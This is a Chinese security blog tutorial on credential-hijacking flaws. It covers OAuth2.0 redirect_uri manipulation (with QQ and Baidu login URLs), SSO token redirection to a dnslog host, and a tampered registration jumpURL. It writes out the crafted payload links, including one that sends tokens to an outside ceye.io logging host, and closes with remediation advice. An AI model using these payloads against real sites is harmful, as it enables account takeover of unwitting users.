凭证劫持漏洞分析

  • A+
所属分类:安全文章

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

1.1 漏洞危害

劫持凭证,构造链接登录受害者账号

凭证劫持漏洞分析

1.2. 漏洞点类型

1. oauth2.0快捷登录
2. sso单点登录系统
3. 注册或者登录

1.3. oauth2.0快捷登录

很多厂商使用了OAuth2.0的认证方式

利用场景:1、主站可第三方登录,漏洞站是否第三方登录都无影响 2、一级域名下的某个信任域能够加载外部链接

凭证劫持漏洞分析
凭证劫持漏洞分析

这是第三方登录的接口:↓

https://graph.qq.com/oauth2.0/authorize?client_id=100312028&response_type=code&display=pc&state=1516604022&redirect_uri=https://passport.baidu.com/phoenix/account/afterauth?mkey=6f2d1d001e4be09e285ed6931751d0aa&scope=get_user_info,get_other_info,add_t,add_share

这个链接是第三方登录口:↓

https://passport.baidu.com/phoenix/account/afterauth?mkey=6f2d1d001e4be09e285ed6931751d0aa

现在分析参数:↓

state=1516604022
redirect_uri=https://passport.baidu.com/phoenix/account/afterauth?mkey=6f2d1d001e4be09e285ed6931751d0aa

redirect_uri参数:是要跳转到这个参数值网址。
在这里,我们将要跳转的网址替换到https://passport.baidu.com/phoenix/account/afterauth
?改为&

最后redirect_uri参数值是redirect_uri=带有外部链接的网址&mkey=6f2d1d001e4be09e285ed6931751d0aa
注:带有外部链接的网址是一级域名的信任域!

payload 发给目标的url:↓

https://graph.qq.com/oauth2.0/authorize?client_id=100312028&response_type=code&display=pc&state=1516604022&redirect_uri=带有外部链接的网址&mkey=6f2d1d001e4be09e285ed6931751d0&scope=get_user_info,get_other_info,add_t,add_share

目标只要打开该链接,并且点击头像登录。那么就会跳转到带有外部链接的网址

此时第三方登录会给用户一个code值,用户会带着code值去访问带有外部链接的网址 而带有外部链接的那个网址会自动加载外部链接,外部链接的作用就是获取referer 那么黑客就会获取到code值。

最后劫持登录的payload:↓ 访问第三方登录口

https://passport.baidu.com/phoenix/account/afterauth?mkey=868b9c0330c56e46a27c8da7f75708d1&code=获取到的code值&state=1516505635

再访问http://www.baidu.com成功登录目标账户

1.4. sso单点登录

单点登录(Single Sign On),简称为 SSO,是目前比较流行的企业业务整合的解决方案之一。SSO的定义是在多个应用系统中,用户只需要登录一次就可以访问所有相互信任的应用系统。

凭证劫持漏洞分析

漏洞点:www.domain.com -> aaa.domain.com 当A用户登录了www.domain.com后,访问aaa.domain.com无需账号密码,sso会发送凭证给aaa.domain.com。

劫持:抓取sso发送给aaa.domain.com凭证的数据包,将跳转到aaa.domain.com这个值改为我们的dnslog地址。然后将这个链接发送给已经登录www.domain.com的A用户,那么A用户会往aaa.domain.com发送凭证,这时候就被我们的dnslog劫持了。

凭证劫持漏洞分析
凭证劫持漏洞分析
凭证劫持漏洞分析
凭证劫持漏洞分析
凭证劫持漏洞分析
凭证劫持漏洞分析

1.5. 注册登录

新用户注册或者用户登录的时候,网站会传递凭证给用户。这时候通过修改redirect_url为自己的dnslog,去劫持凭证

https://aaa.xxxxx.com/MxkEngine/mobilePage/xxdc_register_login/xxdc_login.html?jumpURL=http://www2.hg8l7g.ceye.io?aaa.xxxxx.com/MxkEngine/mobilePage/xxdc_issue/xxdc_ReceiveNoPayment.html?userid=#

凭证劫持漏洞分析

成功跳转到www.*******.****.**(此处有打码)

凭证劫持漏洞分析

1.6.修复建议

  1. 对跳转的url地址做限制。

  2. 加强域名后输入的字符长度,以及URL地址后的http以及.com.cn等域名字符的限制与安全过滤,对以及特殊的字符以及参数值也加强过滤,比如:redirect,jump,redurl,等参数值的过滤。

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: